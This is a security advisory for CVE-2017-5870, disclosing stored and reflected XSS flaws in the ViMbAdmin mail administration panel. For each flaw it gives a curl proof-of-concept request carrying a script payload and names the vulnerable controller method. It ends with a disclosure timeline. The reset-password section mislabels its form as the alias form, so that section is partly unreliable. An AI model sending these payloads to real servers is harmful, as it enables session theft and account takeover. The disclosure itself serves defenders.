# [CVE-2017-5870] Multiple XSS vulnerabilities in ViMbAdmin ## Product Description ViMbAdmin is a web-based interface used to manage a mail server with virtual domains, mailboxes and aliases. It is an open source solution developed by Opensolutions and distributed under the GNU/GPL license version 3. The official web site can be found at www.vimbadmin.net. ## Details **CVE ID**: CVE-2017-5870 **Access Vector**: remote **Security Risk**: high **Vulnerability**: CWE-79 **CVSS Base Score**: 7.2 **CVSS vector**: CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H ## Proof of Concept ### Domain creation form #### Exploit The domain creation form is vulnerable to a stored XSS vulnerability, through the `domain` and `transport` variables: ``` curl 'http://<ip>/domain/add' -H 'Cookie: VIMBADMIN3=<SESSIONID>;' --data 'domain=testdomain%22%3E%3Cscript%3Ealert%28%27xss domain%27%29%3C%2Fscript%3E&description=none&backupmx=0&active=0&active=1&max_aliases=0&max_mailboxes=0&transport=virtual%22%3E%3Cscript%3Ealert%28%27XSS virtual%27%29%3C%2Fscript%3E' --compressed ; ``` The payload gets injected inside the `http://<ip>/domain/list` page. #### Vulnerable code The vulnerable code is located in the `addAction()` method of the `<vimbadmin directory>/application/controllers/DomainController.php` file. ### Mailbox creation form #### Exploit The mailbox creation form is vulnerable to a stored XSS vulnerability, in the `name` variable: ``` curl 'http://mailadmin.commeun.ninja/mailbox/add/did/<domain id>' -H 'Cookie: VIMBADMIN3=<SESSIONID>' --data 'local_part=test&domain=<domain id>&name=test%22%3E%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E&password=<password>&quota=0&alt_email=&cc_welcome_email=' ``` The payload gets injected inside the `http://<ip>/mailbox/list` page. #### Vulnerable code The vulnerable code is located in the `addAction()` method of the `<vimbadmin directory>/application/controllers/MailboxController.php` file. ### Alias creation form #### Exploit The alias creation form is vulnerable to a stored XSS vulnerability, in the `goto` variable: ``` curl 'http://<ip>/alias/add/did/<domain id>' -H 'Cookie: VIMBADMIN3=<SESSIONID>' --data 'local_part=test&domain=4&goto%5B%5D=test%40test.com%22%3E%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E' ``` The payload gets injected inside the `http://<ip>/alias` page. #### Vulnerable code The vulnerable code is located in the `addAction()` method of the `<vimbadmin directory>/application/controllers/AliasController.php` file. ### On reset password page #### Exploit A reflected XSS vulnerability has been found on the alias creation form, using variables `captchatext`. ``` curl 'http://<ip>/auth/lost-password' --data 'username=none&captchaid=<captcha id>&requestnewimage=0&captchatext=none%22%3E%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E&login=Reset+Password' ``` The payload gets injected inside the `http://<ip>/alias` page. #### Vulnerable code The vulnerable code is located in the `_getFormLostPassword()` method of the `<vimbadmin directory>/application/controllers/AuthController.php` file. ## Affected version * tested on version 3.0.15 ## Timeline (dd/mm/yyyy) * 22/01/2017 : Initial discovery. * 16/02/2017 : First contact with opensolutions.io * 16/02/2017 : Advisory sent. * 24/02/2017 : Reply from the owner, acknowledging the report and planning to fix the vulnerabilities. * 13/03/2017 : Sysdream Labs request for an update. * 29/03/2017 : Second request for an update. * 29/03/2017 : Reply from the owner stating that he has no time to fix the issues. * 03/05/2017 : Full disclosure. ## Credits * Florian NIVETTE, Sysdream (f.nivette -at- sysdream -dot- com) -- SYSDREAM Labs <labs@sysdream.com> GPG : 47D1 E124 C43E F992 2A2E 1551 8EB4 8CD9 D5B2 59A1 * Website: https://sysdream.com/ * Twitter: @sysdream